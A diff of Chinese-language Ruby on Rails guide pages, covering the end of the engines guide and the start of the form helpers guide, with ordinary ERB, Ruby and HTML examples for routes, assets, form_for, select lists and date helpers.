+  # 'included do' causes the included code to be evaluated in the
+  # context where it is included (article.rb), rather than being
+  # executed in the module's context (blorgh/concerns/models/article).
+  included do
+    attr_accessor :author_name
+    belongs_to :author, class_name: "User"
+
+    before_save :set_author
+
+    private
+      def set_author
+        self.author = User.find_or_create_by(name: author_name)
+      end
+  end
+
+  def summary
+    "#{title}"
+  end
+
+  module ClassMethods
+    def some_class_method
+      'some class method string'
+    end
+  end
+end
+
+
+
+

6.2 视图重载

Rails在寻找一个需要渲染的视图时,首先会去寻找应用的app/views目录下的文件。如果找不到,那么就会去当前应用目录下的所有引擎中找app/views目录下的内容。

当一个应用被要求为Blorgh::ArticlesControllerindex动作渲染视图时,它首先会在应用目录下去找app/views/blorgh/articles/index.html.erb,如果找不到,它将深入引擎内部寻找。

你可以在应用中创建一个新的app/views/blorgh/articles/index.html.erb文件来重载这个视图。接下来你会看到你改过的视图内容。

修改app/views/blorgh/articles/index.html.erb中的内容,代码如下:

+
+<h1>Articles</h1>
+<%= link_to "New Article", new_article_path %>
+<% @articles.each do |article| %>
+  <h2><%= article.title %></h2>
+  <small>By <%= article.author %></small>
+  <%= simple_format(article.text) %>
+  <hr>
+<% end %>
+
+
+
+

6.3 路径

引擎中的路径默认是和Rails应用隔离开的。主要通过Engine类的isolate_namespace方法 实现的。这意味着引擎和Rails应可以拥有同名的路径,但却不会冲突。

引擎内部的config/routes.rb中的Engine类是这样绑定路径的:

+
+Blorgh::Engine.routes.draw do
+  resources :articles
+end
+
+
+
+

因为拥有相对独立的路径,如果你希望在应用内部链接到引擎的某个地方,你需要使用引擎的路径代理方法。如果调用普通的路径方法,比如articles_path等,将不会得到你希望的结果。

举个例子。下面的articles_path方法根据情况自动识别,并渲染来自应用或引擎的内容。

+
+<%= link_to "Blog articles", articles_path %>
+
+
+
+

为了确保这个路径使用引擎的articles_path方法,我们必须使用路径代理方法来实现:

+
+<%= link_to "Blog articles", blorgh.articles_path %>
+
+
+
+

如果你希望在引擎内部访问Rails应用的路径,可以使用main_app方法:

+
+<%= link_to "Home", main_app.root_path %>
+
+
+
+

如果你在引擎中使用了上诉方法,那么这将一直指向Rails应用的根目录。如果你没有使用main_app的 +routing proxy路径代理调用方法,那么会根据调用源来指向引擎或Rails应用的根目录。

如果你引擎内的模板渲染想调用一个应用的路径帮助方法,这可能导致一个未定义的方法调用异常。如果你想解决这个问题,必须确保在引擎内部调用Rails应用的路径帮助方法时加上main_app前缀。

6.4 渲染页面相关的Assets文件

引擎内部的Assets文件位置和Rails应用的的相似。因为引擎类是继承自Rails::Engine的。应用会自动去引擎的aapp/assetslib/assets目录搜索和页面渲染相关的文件。

像其他引擎组件一样,assets文件是可以命名空间化的。这意味着如果你有一个名为style.css的话,那么他的存放路径是app/assets/stylesheets/[engine name]/style.css, 而非 +app/assets/stylesheets/style.css. 如果资源文件没有命名空间化,很有可能引擎的宿主中有一个和引擎同名的资源文件,这就会导致引擎相关的资源文件被忽略或覆盖。

假如你想在应用的中引用一个名为app/assets/stylesheets/blorgh/style.css文件, ,只需要使用stylesheet_link_tag就可以了:

+
+<%= stylesheet_link_tag "blorgh/style.css" %>
+
+
+
+

你也可以在Asset Pipeline中声明你的资源文件是独立于其他资源文件的:

+
+/*
+ *= require blorgh/style
+*/
+
+
+
+

提示: 如果你使用的是Sass或CoffeeScript语言,那么需要在你的引擎的.gemspec文件中设定相对路径。

6.5 页面资源文件分组和预编译

在某些情况下,你的引擎内部用到的资源文件,在Rails应用宿主中是不会用到的。举个例子,你为引擎创建了一个管理页面,它只在引擎内部使用,在这种情况下,Rails应用宿主并不需要用到admin.cssadmin.js文件,只是gem内部的管理页面需要用到它们。那么应用宿主就没必要添加"blorgh/admin.css"到他的样式表文件中 +,这种情况下,你可以预编译这些文件。这会在你的引擎内部添加一个rake assets:precompile任务。

你可以在引擎的engine.rb中定义需要预编译的资源文件:

+
+initializer "blorgh.assets.precompile" do |app|
+  app.config.assets.precompile += %w(admin.css admin.js)
+end
+
+
+
+

想要了解更多详情,可以参考 Asset Pipeline guide

6.6 其他Gem依赖项

一个引擎的相关依赖项会在引擎的根目录下的.gemspec中声明。因为引擎也许会被当作一个gem安装到Rails应用中。如果在Gemfile中声明依赖项,那么这些依赖项就会被认为不是一个普通Gem,所以他们不会被安装,这会导致引擎发生故障。

为了让引擎被当作一个普通的Gem安装,需要声明他的依赖项已经安装过了。那么可以在引擎根目录下的.gemspec文件中添加Gem::Specification配置项:

+
+s.add_dependency "moo"
+
+
+
+

声明一个依赖项只作为开发应用时的依赖项,可以这么做:

+
+s.add_development_dependency "moo"
+
+
+
+

所有的依赖项都会在执行bundle install命令时安装。gem开发环境的依赖项仅会在测试时用到。

注意,如果你希望引擎引用依赖项时马上引用。你应该在引擎初始化时就引用它们,比如:

+
+require 'other_engine/engine'
+require 'yet_another_engine/engine'
+
+module MyEngine
+  class Engine < ::Rails::Engine
+  end
+end
+
+
+
+ + +

反馈

+

+ 欢迎帮忙改善指南质量。 +

+

+ 如发现任何错误,欢迎修正。开始贡献前,可先行阅读贡献指南:文档。 +

+

翻译如有错误,深感抱歉,欢迎 Fork 修正,或至此处回报

+

+ 文章可能有未完成或过时的内容。请先检查 Edge Guides 来确定问题在 master 是否已经修掉了。再上 master 补上缺少的文件。内容参考 Ruby on Rails 指南准则来了解行文风格。 +

+

最后,任何关于 Ruby on Rails 文档的讨论,欢迎到 rubyonrails-docs 邮件群组。 +

+
+
+
+ +
+ + + + + + + + + + + + + + diff --git a/v4.1/form_helpers.html b/v4.1/form_helpers.html new file mode 100644 index 0000000..532a696 --- /dev/null +++ b/v4.1/form_helpers.html @@ -0,0 +1,1061 @@ + + + + + + + +表单帮助方法 — Ruby on Rails 指南 + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ + +
+ +
+
+

表单帮助方法

表单是网页程序的基本组成部分,用于接收用户的输入。然而,由于表单中控件的名称和各种属性,使用标记语言难以编写和维护。Rails 提供了很多视图帮助方法简化表单的创建过程。因为各帮助方法的用途不一样,所以开发者在使用之前必须要知道相似帮助方法的差异。

读完本文,你将学到:

+
    +
  • 如何创建搜索表单等不需要操作模型的普通表单;
  • +
  • 如何使用针对模型的表单创建和编辑数据库中的记录;
  • +
  • 如何使用各种类型的数据生成选择列表;
  • +
  • 如何使用 Rails 提供用于处理日期和时间的帮助方法;
  • +
  • 上传文件的表单有什么特殊之处;
  • +
  • 创建操作外部资源的案例;
  • +
  • 如何编写复杂的表单;
  • +
+ + + + +
+
+ +
+
+
+

本文的目的不是全面解说每个表单方法和其参数,完整的说明请阅读 Rails API 文档

1 编写简单的表单

最基本的表单帮助方法是 form_tag

+
+<%= form_tag do %>
+  Form contents
+<% end %>
+
+
+
+

像上面这样不传入参数时,form_tag 会创建一个 <form> 标签,提交表单后,向当前页面发起 POST 请求。假设当前页面是 /home/index,生成的 HTML 如下(为了提升可读性,添加了一些换行):

+
+<form accept-charset="UTF-8" action="http://github.com/home/index" method="post">
+  <div style="margin:0;padding:0">
+    <input name="utf8" type="hidden" value="&#x2713;" />
+    <input name="authenticity_token" type="hidden" value="f755bb0ed134b76c432144748a6d4b7a7ddf2b71" />
+  </div>
+  Form contents
+</form>
+
+
+
+

你会发现 HTML 中多了一个 div 元素,其中有两个隐藏的 input 元素。这个 div 元素很重要,没有就无法提交表单。第一个 input 元素的 name 属性值为 utf8,其作用是强制浏览器使用指定的编码处理表单,不管是 GET 还是 POST。第二个 input 元素的 name 属性值为 authenticity_token,这是 Rails 的一项安全措施,称为“跨站请求伪造保护”。form_tag 帮助方法会为每个非 GET 表单生成这个元素(表明启用了这项安全保护措施)。详情参阅“Rails 安全指南”。

为了行文简洁,后续代码没有包含这个 div 元素。

1.1 普通的搜索表单

在网上见到最多的表单是搜索表单,搜索表单包含以下元素:

+
    +
  • +form 元素,action 属性值为 GET
  • +
  • 输入框的 label 元素;
  • +
  • 文本输入框 ;
  • +
  • 提交按钮;
  • +
+

创建这样一个表单要分别使用帮助方法 form_taglabel_tagtext_field_tagsubmit_tag,如下所示:

+
+<%= form_tag("/search", method: "get") do %>
+  <%= label_tag(:q, "Search for:") %>
+  <%= text_field_tag(:q) %>
+  <%= submit_tag("Search") %>
+<% end %>
+
+
+
+

生成的 HTML 如下:

+
+<form accept-charset="UTF-8" action="http://github.com/search" method="get">
+  <div style="margin:0;padding:0;display:inline"><input name="utf8" type="hidden" value="&#x2713;" /></div>
+  <label for="q">Search for:</label>
+  <input id="q" name="q" type="text" />
+  <input name="commit" type="submit" value="Search" />
+</form>
+
+
+
+

表单中的每个 input 元素都有 ID 属性,其值和 name 属性的值一样(上例中是 q)。ID 可用于 CSS 样式或使用 JavaScript 处理表单控件。

除了 text_field_tagsubmit_tag 之外,每个 HTML 表单控件都有对应的帮助方法。

搜索表单的请求类型一定要用 GET,这样用户才能把某个搜索结果页面加入收藏夹,以便后续访问。一般来说,Rails 建议使用合适的请求方法处理表单。

1.2 调用 form_tag 时使用多个 Hash 参数

form_tag 方法可接受两个参数:表单提交地址和一个 Hash 选项。Hash 选项指定提交表单使用的请求方法和 HTML 选项,例如 form 元素的 class 属性。

link_to 方法一样,提交地址不一定非得使用字符串,也可使用一个由 URL 参数组成的 Hash,这个 Hash 经 Rails 路由转换成 URL 地址。这种情况下,form_tag 方法的两个参数都是 Hash,同时指定两个参数时很容易产生问题。假设写成下面这样:

+
+form_tag(controller: "people", action: "search", method: "get", class: "nifty_form")
+# => '<form accept-charset="UTF-8" action="http://github.com/people/search?method=get&class=nifty_form" method="post">'
+
+
+
+

在这段代码中,methodclass 会作为生成 URL 的请求参数,虽然你想传入两个 Hash,但实际上只传入了一个。所以,你要把第一个 Hash(或两个 Hash)放在一对花括号中,告诉 Ruby 哪个是哪个,写成这样:

+
+form_tag({controller: "people", action: "search"}, method: "get", class: "nifty_form")
+# => '<form accept-charset="UTF-8" action="http://github.com/people/search" method="get" class="nifty_form">'
+
+
+
+

1.3 生成表单中控件的帮助方法

Rails 提供了很多用来生成表单中控件的帮助方法,例如复选框,文本输入框和单选框。这些基本的帮助方法都以 _tag 结尾,例如 text_field_tagcheck_box_tag,生成单个 input 元素。这些帮助方法的第一个参数都是 input 元素的 name 属性值。提交表单后,name 属性的值会随表单中的数据一起传入控制器,在控制器中可通过 params 这个 Hash 获取各输入框中的值。例如,如果表单中包含 <%= text_field_tag(:query) %>,就可以在控制器中使用 params[:query] 获取这个输入框中的值。

Rails 使用特定的规则生成 inputname 属性值,便于提交非标量值,例如数组和 Hash,这些值也可通过 params 获取。

各帮助方法的详细用法请查阅 API 文档

1.3.1 复选框

复选框是一种表单控件,给用户一些选项,可用于启用或禁用某项功能。

+
+<%= check_box_tag(:pet_dog) %>
+<%= label_tag(:pet_dog, "I own a dog") %>
+<%= check_box_tag(:pet_cat) %>
+<%= label_tag(:pet_cat, "I own a cat") %>
+
+
+
+

生成的 HTML 如下:

+
+<input id="pet_dog" name="pet_dog" type="checkbox" value="1" />
+<label for="pet_dog">I own a dog</label>
+<input id="pet_cat" name="pet_cat" type="checkbox" value="1" />
+<label for="pet_cat">I own a cat</label>
+
+
+
+

check_box_tag 方法的第一个参数是 name 属性的值。第二个参数是 value 属性的值。选中复选框后,value 属性的值会包含在提交的表单数据中,因此可以通过 params 获取。

1.3.2 单选框

单选框有点类似复选框,但是各单选框之间是互斥的,只能选择一组中的一个:

+
+<%= radio_button_tag(:age, "child") %>
+<%= label_tag(:age_child, "I am younger than 21") %>
+<%= radio_button_tag(:age, "adult") %>
+<%= label_tag(:age_adult, "I'm over 21") %>
+
+
+
+

生成的 HTML 如下:

+
+<input id="age_child" name="age" type="radio" value="child" />
+<label for="age_child">I am younger than 21</label>
+<input id="age_adult" name="age" type="radio" value="adult" />
+<label for="age_adult">I'm over 21</label>
+
+
+
+

check_box_tag 方法一样,radio_button_tag 方法的第二个参数也是 value 属性的值。因为两个单选框的 name 属性值一样(都是 age),所以用户只能选择其中一个单选框,params[:age] 的值不是 "child" 就是 "adult"

复选框和单选框一定要指定 label 标签。label 标签可以为指定的选项框附加文字说明,还能增加选项框的点选范围,让用户更容易选中。

1.4 其他帮助方法

其他值得说明的表单控件包括:多行文本输入框,密码输入框,隐藏输入框,搜索关键字输入框,电话号码输入框,日期输入框,时间输入框,颜色输入框,日期时间输入框,本地日期时间输入框,月份输入框,星期输入框,URL 地址输入框,Email 地址输入框,数字输入框和范围输入框:

+
+<%= text_area_tag(:message, "Hi, nice site", size: "24x6") %>
+<%= password_field_tag(:password) %>
+<%= hidden_field_tag(:parent_id, "5") %>
+<%= search_field(:user, :name) %>
+<%= telephone_field(:user, :phone) %>
+<%= date_field(:user, :born_on) %>
+<%= datetime_field(:user, :meeting_time) %>
+<%= datetime_local_field(:user, :graduation_day) %>
+<%= month_field(:user, :birthday_month) %>
+<%= week_field(:user, :birthday_week) %>
+<%= url_field(:user, :homepage) %>
+<%= email_field(:user, :address) %>
+<%= color_field(:user, :favorite_color) %>
+<%= time_field(:task, :started_at) %>
+<%= number_field(:product, :price, in: 1.0..20.0, step: 0.5) %>
+<%= range_field(:product, :discount, in: 1..100) %>
+
+
+
+

生成的 HTML 如下:

+
+<textarea id="message" name="message" cols="24" rows="6">Hi, nice site</textarea>
+<input id="password" name="password" type="password" />
+<input id="parent_id" name="parent_id" type="hidden" value="5" />
+<input id="user_name" name="user[name]" type="search" />
+<input id="user_phone" name="user[phone]" type="tel" />
+<input id="user_born_on" name="user[born_on]" type="date" />
+<input id="user_meeting_time" name="user[meeting_time]" type="datetime" />
+<input id="user_graduation_day" name="user[graduation_day]" type="datetime-local" />
+<input id="user_birthday_month" name="user[birthday_month]" type="month" />
+<input id="user_birthday_week" name="user[birthday_week]" type="week" />
+<input id="user_homepage" name="user[homepage]" type="url" />
+<input id="user_address" name="user[address]" type="email" />
+<input id="user_favorite_color" name="user[favorite_color]" type="color" value="#000000" />
+<input id="task_started_at" name="task[started_at]" type="time" />
+<input id="product_price" max="20.0" min="1.0" name="product[price]" step="0.5" type="number" />
+<input id="product_discount" max="100" min="1" name="product[discount]" type="range" />
+
+
+
+

用户看不到隐藏输入框,但却和其他文本类输入框一样,能保存数据。隐藏输入框中的值可以通过 JavaScript 修改。

搜索关键字输入框,电话号码输入框,日期输入框,时间输入框,颜色输入框,日期时间输入框,本地日期时间输入框,月份输入框,星期输入框,URL 地址输入框,Email 地址输入框,数字输入框和范围输入框是 HTML5 提供的控件。如果想在旧版本的浏览器中保持体验一致,需要使用 HTML5 polyfill(使用 CSS 或 JavaScript 编写)。polyfill 虽无不足之处,但现今比较流行的工具是 Modernizryepnope,根据检测到的 HTML5 特性添加相应的功能。

如果使用密码输入框,或许还不想把其中的值写入日志。具体做法参见“Rails 安全指南”。

2 处理模型对象

2.1 模型对象帮助方法

表单的一个特别常见的用途是编辑或创建模型对象。这时可以使用 *_tag 帮助方法,但是太麻烦了,每个元素都要设置正确的参数名称和默认值。Rails 提供了很多帮助方法可以简化这一过程,这些帮助方法没有 _tag 后缀,例如 text_fieldtext_area

这些帮助方法的第一个参数是实例变量的名字,第二个参数是在对象上调用的方法名(一般都是模型的属性)。Rails 会把在对象上调用方法得到的值设为控件的 value 属性值,并且设置相应的 name 属性值。如果在控制器中定义了 @person 实例变量,其名字为“Henry”,在表单中有以下代码:

+
+<%= text_field(:person, :name) %>
+
+
+
+

生成的结果如下:

+
+<input id="person_name" name="person[name]" type="text" value="Henry"/>
+
+
+
+

提交表单后,用户输入的值存储在 params[:person][:name] 中。params[:person] 这个 Hash 可以传递给 Person.new 方法;如果 @personPerson 的实例,还可传递给 @person.update。一般来说,这些帮助方法的第二个参数是对象属性的名字,但 Rails 并不对此做强制要求,只要对象能响应 namename= 方法即可。

传入的参数必须是实例变量的名字,例如 :person"person",而不是模型对象的实例本身。

Rails 还提供了用于显示模型对象数据验证错误的帮助方法,详情参阅“Active Record 数据验证”一文。

2.2 把表单绑定到对象上

虽然上述用法很方便,但却不是最好的使用方式。如果 Person 有很多要编辑的属性,我们就得不断重复编写要编辑对象的名字。我们想要的是能把表单绑定到对象上的方法,form_for 帮助方法就是为此而生。

假设有个用来处理文章的控制器 app/controllers/articles_controller.rb

+
+def new
+  @article = Article.new
+end
+
+
+
+

new 动作对应的视图 app/views/articles/new.html.erb 中可以像下面这样使用 form_for 方法:

+
+<%= form_for @article, url: {action: "create"}, html: {class: "nifty_form"} do |f| %>
+  <%= f.text_field :title %>
+  <%= f.text_area :body, size: "60x12" %>
+  <%= f.submit "Create" %>
+<% end %>
+
+
+
+

有几点要注意:

+
    +
  • +@article 是要编辑的对象;
  • +
  • +form_for 方法的参数中只有一个 Hash。路由选项传入嵌套 Hash :url 中,HTML 选项传入嵌套 Hash :html 中。还可指定 :namespace 选项为 form 元素生成一个唯一的 ID 属性值。:namespace 选项的值会作为自动生成的 ID 的前缀。
  • +
  • +form_for 方法会拽入一个表单构造器对象(f 变量);
  • +
  • 生成表单控件的帮助方法在表单构造器对象 f 上调用;
  • +
+

上述代码生成的 HTML 如下:

+
+<form accept-charset="UTF-8" action="http://github.com/articles/create" method="post" class="nifty_form">
+  <input id="article_title" name="article[title]" type="text" />
+  <textarea id="article_body" name="article[body]" cols="60" rows="12"></textarea>
+  <input name="commit" type="submit" value="Create" />
+</form>
+
+
+
+

form_for 方法的第一个参数指明通过 params 的哪个键获取表单中的数据。在上面的例子中,第一个参数名为 article,因此所有控件的 name 属性都是 article[attribute_name] 这种形式。所以,在 create 动作中,params[:article] 这个 Hash 有两个键::title:bodyname 属性的重要性参阅“理解参数命名约定”一节。

在表单构造器对象上调用帮助方法和在模型对象上调用的效果一样,唯有一点区别,无法指定编辑哪个模型对象,因为这由表单构造器负责。

使用 fields_for 帮助方法也可创建类似的绑定,但不会生成 <form> 标签。在同一表单中编辑多个模型对象时经常使用 fields_for 方法。例如,有个 Person 模型,和 ContactDetail 模型关联,编写如下的表单可以同时创建两个模型的对象:

+
+<%= form_for @person, url: {action: "create"} do |person_form| %>
+  <%= person_form.text_field :name %>
+  <%= fields_for @person.contact_detail do |contact_details_form| %>
+    <%= contact_details_form.text_field :phone_number %>
+  <% end %>
+<% end %>
+
+
+
+

生成的 HTML 如下:

+
+<form accept-charset="UTF-8" action="http://github.com/people/create" class="new_person" id="new_person" method="post">
+  <input id="person_name" name="person[name]" type="text" />
+  <input id="contact_detail_phone_number" name="contact_detail[phone_number]" type="text" />
+</form>
+
+
+
+

fields_for 方法拽入的对象和 form_for 方法一样,都是表单构造器(其实在代码内部 form_for 会调用 fields_for 方法)。

2.3 记录辨别技术

用户可以直接处理程序中的 Article 模型,根据开发 Rails 的最佳实践,应该将其视为一个资源:

+
+resources :articles
+
+
+
+

声明资源有很多附属作用。资源的创建与使用请阅读“Rails 路由全解”一文。

处理 REST 资源时,使用“记录辨别”技术可以简化 form_for 方法的调用。简单来说,你可以只把模型实例传给 form_for,让 Rails 查找模型名等其他信息:

+
+## Creating a new article
+# long-style:
+form_for(@article, url: articles_path)
+# same thing, short-style (record identification gets used):
+form_for(@article)
+
+## Editing an existing article
+# long-style:
+form_for(@article, url: article_path(@article), html: {method: "patch"})
+# short-style:
+form_for(@article)
+
+
+
+

注意,不管记录是否存在,使用简短形式的 form_for 调用都很方便。记录辨别技术很智能,会调用 record.new_record? 方法检查是否为新记录;而且还能自动选择正确的提交地址,根据对象所属的类生成 name 属性的值。

Rails 还会自动设置 classid 属性。在新建文章的表单中,idclass 属性的值都是 new_article。如果编辑 ID 为 23 的文章,表单的 classedit_articleidedit_article_23。为了行文简洁,后文会省略这些属性。

如果在模型中使用单表继承(single-table inheritance,简称 STI),且只有父类声明为资源,子类就不能依赖记录辨别技术,必须指定模型名,:url:method 选项。

2.3.1 处理命名空间

如果在路由中使用了命名空间,form_for 方法也有相应的简写形式。如果程序中有个 admin 命名空间,表单可以写成:

+
+form_for [:admin, @article]
+
+
+
+

这个表单会提交到命名空间 admin 中的 ArticlesController(更新文章时提交到 admin_article_path(@article))。如果命名空间有很多层,句法类似:

+
+form_for [:admin, :management, @article]
+
+
+
+

关于 Rails 路由的详细信息以及相关的约定,请阅读“Rails 路由全解”一文。

2.4 表单如何处理 PATCH,PUT 或 DELETE 请求?

Rails 框架建议使用 REST 架构设计程序,因此除了 GET 和 POST 请求之外,还要处理 PATCH 和 DELETE 请求。但是大多数浏览器不支持从表单中提交 GET 和 POST 之外的请求。

为了解决这个问题,Rails 使用 POST 请求进行模拟,并在表单中加入一个名为 _method 的隐藏字段,其值表示真正希望使用的请求方法:

+
+form_tag(search_path, method: "patch")
+
+
+
+

生成的 HTML 为:

+
+<form accept-charset="UTF-8" action="http://github.com/search" method="post">
+  <div style="margin:0;padding:0">
+    <input name="_method" type="hidden" value="patch" />
+    <input name="utf8" type="hidden" value="&#x2713;" />
+    <input name="authenticity_token" type="hidden" value="f755bb0ed134b76c432144748a6d4b7a7ddf2b71" />
+  </div>
+  ...
+
+
+
+

处理提交的数据时,Rails 以 _method 的值为准,发起相应类型的请求(在这个例子中是 PATCH 请求)。

3 快速创建选择列表

HTML 中的选择列表往往需要编写很多标记语言(每个选项都要创建一个 option 元素),因此最适合自动生成。

选择列表的标记语言如下所示:

+
+<select name="city_id" id="city_id">
+  <option value="1">Lisbon</option>
+  <option value="2">Madrid</option>
+  ...
+  <option value="12">Berlin</option>
+</select>
+
+
+
+

这个列表列出了一组城市名。在程序内部只需要处理各选项的 ID,因此把各选项的 value 属性设为 ID。下面来看一下 Rails 为我们提供了哪些帮助方法。

3.1 selectoption 标签

最常见的帮助方法是 select_tag,如其名所示,其作用是生成 select 标签,其中可以包含一个由选项组成的字符串:

+
+<%= select_tag(:city_id, '<option value="1">Lisbon</option>...') %>
+
+
+
+

这只是个开始,还无法动态生成 option 标签。option 标签可以使用帮助方法 options_for_select 生成:

+
+<%= options_for_select([['Lisbon', 1], ['Madrid', 2], ...]) %>
+
+
+
+

生成的 HTML 为:

+
+<option value="1">Lisbon</option>
+<option value="2">Madrid</option>
+...
+
+
+
+

options_for_select 方法的第一个参数是一个嵌套数组,每个元素都有两个子元素:选项的文本(城市名)和选项的 value 属性值(城市 ID)。选项的 value 属性值会提交到控制器中。ID 的值经常表示数据库对象,但这个例子除外。

知道上述用法后,就可以结合 select_tagoptions_for_select 两个方法生成所需的完整 HTML 标记:

+
+<%= select_tag(:city_id, options_for_select(...)) %>
+
+
+
+

options_for_select 方法还可预先选中一个选项,通过第二个参数指定:

+
+<%= options_for_select([['Lisbon', 1], ['Madrid', 2], ...], 2) %>
+
+
+
+

生成的 HTML 如下:

+
+<option value="1">Lisbon</option>
+<option value="2" selected="selected">Madrid</option>
+...
+
+
+
+

当 Rails 发现生成的选项 value 属性值和指定的值一样时,就会在这个选项中加上 selected 属性。

options_for_select 方法的第二个参数必须完全和需要选中的选项 value 属性值相等。如果 value 的值是整数 2,就不能传入字符串 "2",必须传入数字 2。注意,从 params 中获取的值都是字符串。

使用 Hash 可以为选项指定任意属性:

+
+<%= options_for_select([['Lisbon', 1, {'data-size' => '2.8 million'}], ['Madrid', 2, {'data-size' => '3.2 million'}]], 2) %>
+
+
+
+

生成的 HTML 如下:

+
+<option value="1" data-size="2.8 million">Lisbon</option>
+<option value="2" selected="selected" data-size="3.2 million">Madrid</option>
+...
+
+
+
+

3.2 处理模型的选择列表

大多数情况下,表单的控件用于处理指定的数据库模型,正如你所期望的,Rails 为此提供了很多用于生成选择列表的帮助方法。和其他表单帮助方法一样,处理模型时要去掉 select_tag 中的 _tag

+
+# controller:
+@person = Person.new(city_id: 2)
+
+
+
+
+
+# view:
+<%= select(:person, :city_id, [['Lisbon', 1], ['Madrid', 2], ...]) %>
+
+
+
+

注意,第三个参数,选项数组,和传入 options_for_select 方法的参数一样。这种帮助方法的一个好处是,无需关心如何预先选中正确的城市,只要用户设置了所在城市,Rails 就会读取 @person.city_id 的值,为你代劳。

和其他帮助方法一样,如果要在绑定到 @person 对象上的表单构造器上使用 select 方法,相应的句法为:

+
+# select on a form builder
+<%= f.select(:city_id, ...) %>
+
+
+
+

select 帮助方法还可接受一个代码块:

+
+<%= f.select(:city_id) do %>
+  <% [['Lisbon', 1], ['Madrid', 2]].each do |c| -%>
+    <%= content_tag(:option, c.first, value: c.last) %>
+  <% end %>
+<% end %>
+
+
+
+

如果使用 select 方法(或类似的帮助方法,例如 collection_selectselect_tag)处理 belongs_to 关联,必须传入外键名(在上例中是 city_id),而不是关联名。如果传入的是 city 而不是 city_id,把 params 传给 Person.newupdate 方法时,会抛出异常:ActiveRecord::AssociationTypeMismatch: City(#17815740) expected, got String(#1138750)。这个要求还可以这么理解,表单帮助方法只能编辑模型的属性。此外还要知道,允许用户直接编辑外键具有潜在地安全隐患。

3.3 根据任意对象组成的集合创建 option 标签

使用 options_for_select 方法生成 option 标签必须使用数组指定各选项的文本和值。如果有个 City 模型,想根据模型实例组成的集合生成 option 标签应该怎么做呢?一种方法是遍历集合,创建一个嵌套数组:

+
+<% cities_array = City.all.map { |city| [city.name, city.id] } %>
+<%= options_for_select(cities_array) %>
+
+
+
+

这种方法完全可行,但 Rails 提供了一个更简洁的帮助方法:options_from_collection_for_select。这个方法接受一个由任意对象组成的集合,以及另外两个参数:获取选项文本和值使用的方法。

+
+<%= options_from_collection_for_select(City.all, :id, :name) %>
+
+
+
+

从这个帮助方法的名字中可以看出,它只生成 option 标签。如果想生成可使用的选择列表,和 options_for_select 方法一样要结合 select_tag 方法一起使用。select 方法集成了 select_tagoptions_for_select 两个方法,类似地,处理集合时,可以使用 collection_select 方法,它集成了 select_tagoptions_from_collection_for_select 两个方法。

+
+<%= collection_select(:person, :city_id, City.all, :id, :name) %>
+
+
+
+

options_from_collection_for_selectcollection_select 来说,就像 options_for_selectselect 的关系一样。

传入 options_for_select 方法的子数组第一个元素是选项文本,第二个元素是选项的值,但传入 options_from_collection_for_select 方法的第一个参数是获取选项值的方法,第二个才是获取选项文本的方法。

3.4 时区和国家选择列表

要想在 Rails 程序中实现时区相关的功能,就得询问用户其所在的时区。设定时区时可以使用 collection_select 方法根据预先定义的时区对象生成一个选择列表,也可以直接使用 time_zone_select 帮助方法:

+
+<%= time_zone_select(:person, :time_zone) %>
+
+
+
+

如果想定制时区列表,可使用 time_zone_options_for_select 帮助方法。这两个方法可接受的参数请查阅 API 文档。

以前 Rails 还内置了 country_select 帮助方法,用于创建国家选择列表,但现在已经被提取出来做成了 country_select gem。使用这个 gem 时要注意,是否包含某个国家还存在争议(正因为此,Rails 才不想内置)。

4 使用日期和时间表单帮助方法

你可以选择不使用生成 HTML5 日期和时间输入框的帮助方法,而使用生成日期和时间选择列表的帮助方法。生成日期和时间选择列表的帮助方法和其他表单帮助方法有两个重要的不同点:

+
    +
  • 日期和时间不在单个 input 元素中输入,而是每个时间单位都有各自的元素,因此在 params 中就没有单个值能表示完整的日期和时间;
  • +
  • 其他帮助方法通过 _tag 后缀区分是独立的帮助方法还是操作模型对象的帮助方法。对日期和时间帮助方法来说,select_dateselect_timeselect_datetime 是独立的帮助方法,date_selecttime_selectdatetime_select 是相应的操作模型对象的帮助方法。
  • +
+

这两类帮助方法都会为每个时间单位(年,月,日等)生成各自的选择列表。

4.1 独立的帮助方法

select_* 这类帮助方法的第一个参数是 DateTimeDateTime 类的实例,并选中指定的日期时间。如果不指定,就使用当前日期时间。例如:

+
+<%= select_date Date.today, prefix: :start_date %>
+
+
+
+

生成的 HTML 如下(为了行为简便,省略了各选项):

+
+<select id="start_date_year" name="start_date[year]"> ... </select>
+<select id="start_date_month" name="start_date[month]"> ... </select>
+<select id="start_date_day" name="start_date[day]"> ... </select>
+
+
+
+

上面各控件会组成 params[:start_date],其中包含名为 :year:month:day 的键。如果想获取 TimeDate 对象,要读取各时间单位的值,然后传入适当的构造方法中,例如:

+
+Date.civil(params[:start_date][:year].to_i, params[:start_date][:month].to_i, params[:start_date][:day].to_i)
+
+
+
+

:prefix 选项的作用是指定从 params 中获取各时间组成部分的键名。在上例中,:prefix 选项的值是 start_date。如果不指定这个选项,就是用默认值 date

4.2 处理模型对象的帮助方法

select_date 方法在更新或创建 Active Record 对象的表单中有点力不从心,因为 Active Record 期望 params 中的每个元素都对应一个属性。用于处理模型对象的日期和时间帮助方法会提交一个名字特殊的参数,Active Record 看到这个参数时就知道必须和其他参数结合起来传递给字段类型对应的构造方法。例如:

+
+<%= date_select :person, :birth_date %>
+
+
+
+

生成的 HTML 如下(为了行为简介,省略了各选项):

+
+<select id="person_birth_date_1i" name="person[birth_date(1i)]"> ... </select>
+<select id="person_birth_date_2i" name="person[birth_date(2i)]"> ... </select>
+<select id="person_birth_date_3i" name="person[birth_date(3i)]"> ... </select>
+
+
+
+

创建的 params Hash 如下:

+
+{'person' => {'birth_date(1i)' => '2008', 'birth_date(2i)' => '11', 'birth_date(3i)' => '22'}}
+
+
+
+

传递给 Person.new(或 update)方法时,Active Record 知道这些参数应该结合在一起组成 birth_date 属性,使用括号中的信息决定传给 Date.civil 等方法的顺序。

4.3 通用选项

这两种帮助方法都使用同一组核心函数生成各选择列表,因此使用的选项基本一样。默认情况下,Rails 生成的年份列表包含本年前后五年。如果这个范围不能满足需求,可以使用 :start_year:end_year 选项指定。更详细的可用选项列表请参阅 API 文档

基本原则是,使用 date_select 方法处理模型对象,其他情况都使用 select_date 方法,例如在搜索表单中根据日期过滤搜索结果。

很多时候内置的日期选择列表不太智能,不能协助用户处理日期和星期几之间的对应关系。

4.4 单个时间单位选择列表

